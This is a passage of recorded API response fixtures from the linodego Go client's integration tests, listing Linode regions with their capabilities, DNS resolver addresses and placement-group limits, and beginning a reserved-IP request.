"172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 18:18:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestRegions_pgLimits.yaml000066400000000000000000000515111474652371000315710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:04:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestReservedIPAddresses_DeleteIPAddressVariants.yaml000066400000000000000000000216611474652371000366360ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "66.175.209.178", "gateway": "66.175.209.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "66-175-209-178.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, 